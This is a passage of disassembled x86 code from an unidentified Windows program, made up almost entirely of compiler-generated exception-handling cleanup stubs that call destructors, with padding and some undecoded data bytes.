dd 8DFFFC97h, 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h
dd 0FC9705E9h, 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh
dd 0E083FFFFh, 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h
; ---------------------------------------------------------------------------
inc ebx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4034E0 proc near ; DATA XREF: sub_4034E0+2o
mov eax, offset dword_43E470
jmp sub_4367C8
SEH_4034E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9
jmp sub_401AD2
; ---------------------------------------------------------------------------
loc_437B7B: ; DATA XREF: ___:0043E4ECo
mov ecx, [ebp-10h]
add ecx, 52h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9Bh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E4h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 12Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 176h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1BFh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 208h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 251h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 29Ah
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2E3h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32Ch
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 375h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3BEh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 407h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 450h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 499h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4E2h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 52Bh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 574h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 5BDh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 606h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64Fh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 698h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6E1h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 72Ah
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 773h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 7BCh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 805h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 84Eh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 897h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8E0h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 929h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 972h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9BBh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A04h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A4Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A96h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0ADFh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B28h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B71h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B9Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BCDh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BFBh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C29h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C57h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C85h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CB3h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CE1h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D0Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D3Dh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D6Bh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D99h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DC7h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DF5h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E23h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E51h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E7Fh
jmp sub_40206D
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10C7h
jmp sub_40206D
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 130Fh
jmp sub_40206D
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1557h
jmp sub_40206D
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4036D0 proc near ; DATA XREF: sub_4036D0+2o
mov eax, offset dword_43E4C0
jmp sub_4367C8
SEH_4036D0 endp
; ---------------------------------------------------------------------------
db 0D6h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403C00 proc near ; DATA XREF: sub_403C00+2o
mov eax, offset dword_43E700
jmp sub_4367C8
SEH_403C00 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_437FC8: ; DATA XREF: ___:0043E75Co
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403C90 proc near ; DATA XREF: sub_403C90+2o
mov eax, offset dword_43E730
jmp sub_4367C8
SEH_403C90 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_437FF8: ; DATA XREF: ___:0043E794o
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403D10 proc near ; DATA XREF: sub_403D10+2o
mov eax, offset dword_43E768
jmp sub_4367C8
SEH_403D10 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403D90 proc near ; DATA XREF: sub_403D90+2o
mov eax, offset dword_43E7A0
jmp sub_4367C8
SEH_403D90 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401AD2
; ---------------------------------------------------------------------------
loc_438048: ; DATA XREF: ___:0043E7FCo
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AD2
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403E00 proc near ; DATA XREF: sub_403E00+2o
mov eax, offset dword_43E7D0
jmp sub_4367C8
SEH_403E00 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401AD2
; ---------------------------------------------------------------------------
loc_4380C8: ; DATA XREF: ___:0043E85Co
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AD2
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403EE0 proc near ; DATA XREF: sub_403EE0+2o
mov eax, offset dword_43E830
jmp sub_4367C8
SEH_403EE0 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403FC0 proc near ; DATA XREF: sub_403FC0+2o
mov eax, offset dword_43E890
jmp sub_4367C8
SEH_403FC0 endp
; ---------------------------------------------------------------------------
db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438208: ; DATA XREF: ___:0043E974o
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404640 proc near ; DATA XREF: sub_404640+2o
mov eax, offset dword_43E948
jmp sub_4367C8
SEH_404640 endp
; ---------------------------------------------------------------------------
db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43828B: ; DATA XREF: ___:0043E9FCo
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438296: ; DATA XREF: ___:0043EA04o
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-134h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E8h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_404C70 proc near ; DATA XREF: sub_404C70+8o
mov eax, offset dword_43E9D0
jmp sub_4367C8
SEH_404C70 endp
; ---------------------------------------------------------------------------
db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------
loc_438530: ; DATA XREF: ___:0043EBD4o
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-28h]
and eax, 1
test eax, eax
jz locret_43854E
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_43854E: ; CODE XREF: ___:00438540j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4066E0 proc near ; DATA XREF: sub_4066E0+2o
mov eax, offset dword_43EBA8
jmp sub_4367C8
SEH_4066E0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
loc_438570: ; DATA XREF: ___:0043EC0Co
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-198h]
and eax, 1
test eax, eax
jz locret_438594
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_438594: ; CODE XREF: ___:00438586j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_406890 proc near ; DATA XREF: sub_406890+2o
mov eax, offset dword_43EBE0
jmp sub_4367C8
SEH_406890 endp
; ---------------------------------------------------------------------------
db 11h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-454h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4385BB: ; DATA XREF: ___:0043EC44o
lea ecx, [ebp-43Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4385C6: ; DATA XREF: ___:0043EC4Co
lea ecx, [ebp-424h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_406C30 proc near ; DATA XREF: sub_406C30+8o
mov eax, offset dword_43EC18
jmp sub_4367C8
SEH_406C30 endp
; ---------------------------------------------------------------------------
db 15h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407030 proc near ; DATA XREF: sub_407030+2o
mov eax, offset dword_43EC58
jmp sub_4367C8
SEH_407030 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407660 proc near ; DATA XREF: sub_407660+8o
mov eax, offset dword_43EC88
jmp sub_4367C8
SEH_407660 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438638: ; DATA XREF: ___:0043ECE4o
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4076F0 proc near ; DATA XREF: sub_4076F0+8o
mov eax, offset dword_43ECB8
jmp sub_4367C8
SEH_4076F0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-174h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43865B: ; DATA XREF: ___:0043ED1Co
lea ecx, [ebp-1A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-204h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-234h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-264h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-294h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-15Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-114h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-144h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-1ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0CCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-21Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0B4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-27Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-330h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-318h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-34Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-348h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-12Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0FCh]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-350h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-300h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-2FCh]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_407790 proc near ; DATA XREF: sub_407790+2o
mov eax, offset dword_43ECF0
jmp sub_4367C8
SEH_407790 endp
; ---------------------------------------------------------------------------
db 0CAh dup(0CCh)
dd 90C84D8Dh, 0C56A4CE9h
db 75h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_409580 proc near ; DATA XREF: sub_409580+2o
mov eax, offset dword_43F098
jmp sub_4367C8
SEH_409580 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40A290 proc near ; DATA XREF: sub_40A290+2o
mov eax, offset dword_43F0C8
jmp sub_4367C8
SEH_40A290 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-38h]
and eax, 1
test eax, eax
jz locret_438A86
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_438A86: ; CODE XREF: ___:00438A78j
retn
; ---------------------------------------------------------------------------
loc_438A87: ; DATA XREF: ___:0043F124o
lea ecx, [ebp-34h]
jmp sub_40158C
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40A430 proc near ; DATA XREF: sub_40A430+2o
mov eax, offset dword_43F0F8
jmp sub_4367C8
SEH_40A430 endp
; ---------------------------------------------------------------------------
align 10h
dd 90C84D8Dh, 0C569CCE9h
db 75h
; ---------------------------------------------------------------------------
loc_438AB9: ; DATA XREF: ___:0040A952o
mov eax, offset dword_43F138
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40AE10 proc near ; DATA XREF: sub_40AE10+5o
mov eax, offset dword_43F168
jmp sub_4367C8
SEH_40AE10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40AF90 proc near ; DATA XREF: sub_40AF90+5o
mov eax, offset dword_43F1C8
jmp sub_4367C8
SEH_40AF90 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_438AFB: ; DATA XREF: ___:0043F254o
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8Eh
jmp sub_401555
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40B0B0 proc near ; DATA XREF: sub_40B0B0+2o
mov eax, offset dword_43F228
jmp sub_4367C8
SEH_40B0B0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_438B4B: ; DATA XREF: ___:0043F29Co
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
